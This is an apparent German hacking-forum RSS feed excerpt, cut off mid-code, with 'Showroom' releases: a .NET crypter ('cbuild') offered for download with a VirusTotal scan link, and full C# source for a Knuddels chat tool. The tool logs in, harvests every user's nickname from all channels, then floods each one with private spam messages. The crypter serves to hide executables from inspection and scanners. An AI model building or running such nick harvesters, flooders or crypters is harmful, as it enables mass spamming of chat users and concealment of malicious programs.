<br />
So Have Fun <br />
Mfg</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7017&amp;stc=1&amp;d=1393106848" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Paat</dc:creator>
			<guid isPermaLink="true">showroom-102/release-fakegenerator-v1-30262</guid>
		</item>
		<item>
			<title><![CDATA[[Release] Lyra` cbuild]]></title>
			<link>showroom-102/release-lyra-cbuild-31672?goto=newpost</link>
			<pubDate>Sun, 26 Jun 2011 00:23:16 GMT</pubDate>
			<description>Hey, 
ich wollte euch hier mal meinen *.NET* crypter vorstellen: 
  
*cbuild* 
  
_Er cryptet only .NET Executables!_ 
  
  
Beispielprogramm:</description>
			<content:encoded><![CDATA[<div>Hey,<br />
ich wollte euch hier mal meinen <b>.NET</b> crypter vorstellen:<br />
 <br />
<b>cbuild</b><br />
 <br />
<u>Er cryptet only .NET Executables!</u><br />
 <br />
 <br />
Beispielprogramm:<br />
 <br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code"><font color="#000"><span style="font-family: Consolas"><font color="blue">using</font> System.Drawing;<br />
<font color="blue">using</font> System.Threading;<br />
<font color="blue">using</font> System.Windows.Forms;<br />
<br />
<font color="blue">class</font> <font color="#2b91af">Demo</font><br />
{<br />
&nbsp; <font color="blue">static</font> <font color="blue">void</font> Main(<font color="blue">string</font>[] args)<br />
&nbsp; {<br />
&nbsp; &nbsp; (<font color="blue">new</font> <font color="#2b91af">Thread</font>((() =&gt; {<br />
&nbsp; &nbsp; &nbsp; <font color="#2b91af">MyWorld</font> w = <font color="blue">new</font> <font color="#2b91af">MyWorld</font>() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Text = <font color="#a31515">&quot;Lyra` Demo&quot;</font><br />
&nbsp; &nbsp; &nbsp; };<br />
&nbsp; &nbsp; &nbsp; w.Show();<br />
&nbsp; &nbsp; &nbsp; <font color="#2b91af">Application</font>.Run();<br />
&nbsp; &nbsp; }))).Start();<br />
&nbsp; }<br />
<br />
&nbsp; <font color="blue">private</font> <font color="blue">class</font> <font color="#2b91af">MyWorld</font> : <font color="#2b91af">Form</font><br />
&nbsp; {<br />
&nbsp; &nbsp; <font color="blue">public</font> MyWorld()<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; <font color="blue">this</font>.Controls.Add(<font color="blue">new</font> <font color="#2b91af">Label</font>() {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Text = <font color="#a31515">&quot;Hi Welt!&quot;</font>,<br />
&nbsp; &nbsp; &nbsp; &nbsp; Location = <font color="blue">new</font> <font color="#2b91af">Point</font>(15, 15)<br />
&nbsp; &nbsp; &nbsp; });<br />
&nbsp; &nbsp; &nbsp; <font color="blue">this</font>.FormClosed += (<font color="blue">object</font> sender, <font color="#2b91af">FormClosedEventArgs</font> e) =&gt; { <font color="#2b91af">Application</font>.Exit(); };<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}</span></font></code><hr />
</div> <br />
Uncrypted: <a href="http://188.40.187.157/cbuild/hiwelt.exe" target="_blank" rel="nofollow">http://188.40.187.157/cbuild/hiwelt.exe</a><br />
Crypted: <a href="http://188.40.187.157/cbuild/hiwelt.crypted.exe" target="_blank" rel="nofollow">http://188.40.187.157/cbuild/hiwelt.crypted.exe</a><br />
Crypter: <a href="http://188.40.187.157/cbuild/cbuild.exe" target="_blank" rel="nofollow">http://188.40.187.157/cbuild/cbuild.exe</a><br />
Alles: <a href="http://188.40.187.157/cbuild/Debug.zip" target="_blank" rel="nofollow">http://188.40.187.157/cbuild/Debug.zip</a><br />
 <br />
VT: <a href="http://www.virustotal.com/file-scan/report.html?id=3bfb1c4c5b55f5bb5ab15e4920a5b2b8cb4f68289ab03cdedbd9e6ff7ae3f896-1308087205" target="_blank" rel="nofollow">VirusTotal - Free Online Virus, Malware and URL Scanner</a><br />
 <br />
Screen: <a href="http://188.40.187.157/cbuild/cbuild.png" target="_blank" rel="nofollow">http://188.40.187.157/cbuild/cbuild.png</a><br />
 <br />
Hält auf jeden fall nubs davon ab, dein program im Reflector anzuschaun.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Lyra</dc:creator>
			<guid isPermaLink="true">showroom-102/release-lyra-cbuild-31672</guid>
		</item>
		<item>
			<title><![CDATA[[code] Knuddels (alle!) Nick Crawler & /m, /p Flooder]]></title>
			<link>showroom-102/code-knuddels-alle-nick-crawler-m-p-flooder-30878?goto=newpost</link>
			<pubDate>Wed, 22 Jun 2011 12:51:23 GMT</pubDate>
			<description>Hey, 
ich will euch hier mal meinen kleinen Crawler vorstellen: 
  
Eigentlich ja nichts besonderes, aber ich will hiermit eigentlich nur die...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
ich will euch hier mal meinen kleinen Crawler vorstellen:<br />
 <br />
Eigentlich ja nichts besonderes, aber ich will hiermit eigentlich nur die möglichkeiten, die einem eine Konsole &amp; C# bietet zeigen.<br />
 <br />
Highlights:<br />
- Passwort wird in der Konsole mit Sternchen angezeigt.<br />
- Methode, um eine auswahl aus einer Enum zu treffen :)<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; private static string ReadPassword(string label)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; StringBuilder sb = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; Console.Write(label);<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo cki = Console.ReadKey();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.Key == ConsoleKey.Enter)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return sb.ToString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.Key == ConsoleKey.Backspace)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (sb.Length &gt; 0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.Remove(sb.Length - 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.Append(cki.KeyChar);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;*&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; private static int ChooseFromEnum&lt;T&gt;(string label)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(label);<br />
&nbsp; &nbsp; &nbsp; string[] chats = Enum.GetNames(typeof(T));<br />
&nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; chats.Length; i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;\t[{0}] - {1}&quot;, i + 1, chats[i]);<br />
&nbsp; &nbsp; &nbsp; Console.SetCursorPosition(label.Length, Console.CursorTop - (chats.Length + 1));<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo key = Console.ReadKey();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (key.KeyChar &gt; '0' &amp;&amp; key.KeyChar &lt;= '0' + chats.Length)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int chatSystem = (Convert.ToInt32(Convert.ToString(key.KeyChar)) - 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; chats.Length; i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(new String(' ', Console.WindowWidth - 1));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(0, Console.CursorTop - chats.Length);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return chatSystem;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (key.Key == ConsoleKey.Backspace)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;&nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Media.SystemSounds.Exclamation.Play();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }</code><hr />
</div>Der komplette Code:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">using System;<br />
using System.Collections.Generic;<br />
using System.IO;<br />
using System.Net;<br />
using System.Security.Cryptography;<br />
using System.Text;<br />
using System.Text.RegularExpressions;<br />
using System.Threading;<br />
using System.Xml;<br />
using KNLib;<br />
&nbsp;<br />
namespace Lyralabs.Knuddels.Nickcrawler<br />
{<br />
&nbsp; public class Program<br />
&nbsp; {<br />
&nbsp; &nbsp; private static readonly Regex channelParser = new Regex(&quot;(?&lt;channel&gt;([^&quot;]{2,}))\n[0-9]{1,3}&quot;, RegexOptions.Compiled);<br />
&nbsp; &nbsp; private static readonly Regex chatterParser = new Regex(&quot;°&gt;_h(?&lt;nick&gt;(.+?))\\|/serverpp&quot;, RegexOptions.Compiled);<br />
&nbsp; &nbsp; private static readonly Regex channelNameParser = new Regex(&quot;Chatter im (?&lt;name&gt;(.+)) \\(&quot;, RegexOptions.Compiled);<br />
&nbsp;<br />
&nbsp; &nbsp; private static readonly string ApiUrl = &quot;http://k-script.cc/api3.php&quot;;<br />
&nbsp; &nbsp; private static readonly int SpamWait = 3000;<br />
&nbsp;<br />
&nbsp; &nbsp; private static List&lt;string&gt; channels = null;<br />
&nbsp; &nbsp; private static List&lt;string&gt; nicks = null;<br />
&nbsp; &nbsp; private static string currentChannel = null;<br />
&nbsp; &nbsp; private static string butlerName = null;<br />
&nbsp; &nbsp; private static bool cancelCrawl = false;<br />
&nbsp;<br />
&nbsp; &nbsp; private static void Main(string[] args)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;Willst du eine GUI haben? (Y/N)&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo cki = Console.ReadKey();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.KeyChar == 'Y' || cki.KeyChar == 'y')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // show gui<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else if (cki.KeyChar == 'N' || cki.KeyChar == 'n')<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Falsche Eingabe!\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;K-Script Username: &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; string ksUser = Console.ReadLine();<br />
&nbsp; &nbsp; &nbsp; string ksPass = ReadPassword(&quot;K-Script Passwort: &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; StartWaiter();<br />
&nbsp; &nbsp; &nbsp; bool isValidUser = AsyncAuth(ksUser, ksPass, 10, 20, null);<br />
&nbsp; &nbsp; &nbsp; StopWaiter();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; if (waiterThread != null &amp;&amp; waiterThread.IsAlive)<br />
&nbsp; &nbsp; &nbsp; &nbsp; waiterThread.Join();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; if (isValidUser)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Okay, du bist authentifiziert!\n&quot;);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Fehler! Du hast keine 10 Posts oder mehr als 20 Warnpunkte!&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(3000);<br />
&nbsp; &nbsp; &nbsp; &nbsp; return;<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; KNClient client = new KNClient();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; client.OnReceive += new KNMessageEventHandler(client_OnReceive);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; RemoteEndpoint endpoint = (RemoteEndpoint)ChooseFromEnum&lt;RemoteEndpoint&gt;(&quot;Chatsystem auswählen: &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Ausgewähltes Chatsystem: {0}\n&quot;, endpoint.ToString());<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Connecting... &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; client.Connect(endpoint);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;done\n&quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Nickname: &quot;);<br />
&nbsp; &nbsp; &nbsp; string nick = Console.ReadLine();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; string pass = ReadPassword(&quot;Passwort: &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Channel: &quot;);<br />
&nbsp; &nbsp; &nbsp; string chan = Console.ReadLine();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;\nEinloggen... &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; client.Login(nick, pass, chan);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;done\n&quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; while (channels == null)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(100);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Es gibt {0} Channels.&quot;, channels.Count);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; TimeSpan time = new TimeSpan(0, 0, channels.Count * 3);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.CancelKeyPress += ((object sender, ConsoleCancelEventArgs e) =&gt;<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; e.Cancel = true;<br />
&nbsp; &nbsp; &nbsp; &nbsp; cancelCrawl = true;<br />
&nbsp; &nbsp; &nbsp; });<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Alle Channels zu crawlen dauert ca. {0} Minuten.\nDrücke CRTL + C um den Crawlvorgang abzubrechen und mit dem Spammen zu beginnen\n&quot;, (int)time.TotalMinutes);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; nicks = new List&lt;string&gt;();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; foreach (string channel in channels)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cancelCrawl)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; client.Send(String.Concat(&quot;e\0&quot;, currentChannel, &quot;\0/wc &quot;, channel));<br />
&nbsp; &nbsp; &nbsp; &nbsp; try<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(SpamWait);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; catch (Exception) { cancelCrawl = true; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; StringBuilder sb = new StringBuilder();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; foreach (string crawledNick in nicks)<br />
&nbsp; &nbsp; &nbsp; &nbsp; sb.AppendLine(crawledNick);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; File.WriteAllText(&quot;nick.log&quot;, sb.ToString());<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Alle nicks Gespeichert in nick.log ({0} Stück)\n&quot;, nicks.Count);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; SpamTypes spamType = (SpamTypes)ChooseFromEnum&lt;SpamTypes&gt;(&quot;Bitte wähle den Spam-Typ: &quot;);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Ausgewählter Spam-Typ: {0}\n&quot;, spamType);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.Write(&quot;Spamtext: &quot;);<br />
&nbsp; &nbsp; &nbsp; string text = Console.ReadLine();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Spam(spamType, text, client);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;\nEs wurden {0} Nachrichten versendet.&quot;, nicks.Count);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.ReadKey();<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static void Spam(SpamTypes spamType, string text, KNClient client)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; nicks.Count; i++)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(SpamWait);<br />
&nbsp; &nbsp; &nbsp; &nbsp; string token = String.Concat(&quot;e\0&quot;, currentChannel, &quot;\0/&quot;, spamType.ToString().ToLower(), &quot; &quot;, nicks[i], &quot;:&quot;, text);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (client != null)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; client.Send(token);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;Sent {0} to {1}&quot;, spamType, nicks[i]);<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; static void Console_CancelKeyPress(object sender, ConsoleCancelEventArgs e)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; e.Cancel = true;<br />
&nbsp; &nbsp; &nbsp; cancelCrawl = true;<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static string ReadPassword(string label)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; StringBuilder sb = new StringBuilder();<br />
&nbsp; &nbsp; &nbsp; Console.Write(label);<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo cki = Console.ReadKey();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.Key == ConsoleKey.Enter)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return sb.ToString();<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (cki.Key == ConsoleKey.Backspace)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (sb.Length &gt; 0)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.Remove(sb.Length - 1, 1);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.Append(cki.KeyChar);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;*&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static int ChooseFromEnum&lt;T&gt;(string label)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; Console.WriteLine(label);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; string[] chats = Enum.GetNames(typeof(T));<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; chats.Length; i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(&quot;\t[{0}] - {1}&quot;, i + 1, chats[i]);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; Console.SetCursorPosition(label.Length, Console.CursorTop - (chats.Length + 1));<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; while (true)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; ConsoleKeyInfo key = Console.ReadKey();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (key.KeyChar &gt; '0' &amp;&amp; key.KeyChar &lt;= '0' + chats.Length)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int chatSystem = (Convert.ToInt32(Convert.ToString(key.KeyChar)) - 1);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine();<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; chats.Length; i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(new String(' ', Console.WindowWidth - 1));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(0, Console.CursorTop - chats.Length);<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return chatSystem;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (key.Key == ConsoleKey.Backspace)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot;&nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; System.Media.SystemSounds.Exclamation.Play();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(&quot; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.SetCursorPosition(Console.CursorLeft - 1, Console.CursorTop);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; private static void client_OnReceive(KNClient client, KNMessageEventArgs e)<br />
&nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; File.AppendAllText(&quot;token.log&quot;, e.Token + &quot;\r\n&quot;);<br />
&nbsp; &nbsp; &nbsp; string[] token = e.Token.Split('\0');<br />
&nbsp; &nbsp; &nbsp; if (token.Length &gt; 0)<br />
&nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; switch (token[0])<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case &quot;b&quot;:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; channels = new List&lt;string&gt;();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; foreach (string t in token)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Match match = channelParser.Match(t);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (match.Success)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; channels.Add(match.Groups[&quot;channel&quot;].Value);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case &quot;u&quot;:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; currentChannel = token[1];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; butlerName = token[2];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; case &quot;k&quot;:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Match channelName = channelNameParser.Match(token[1]);<br />
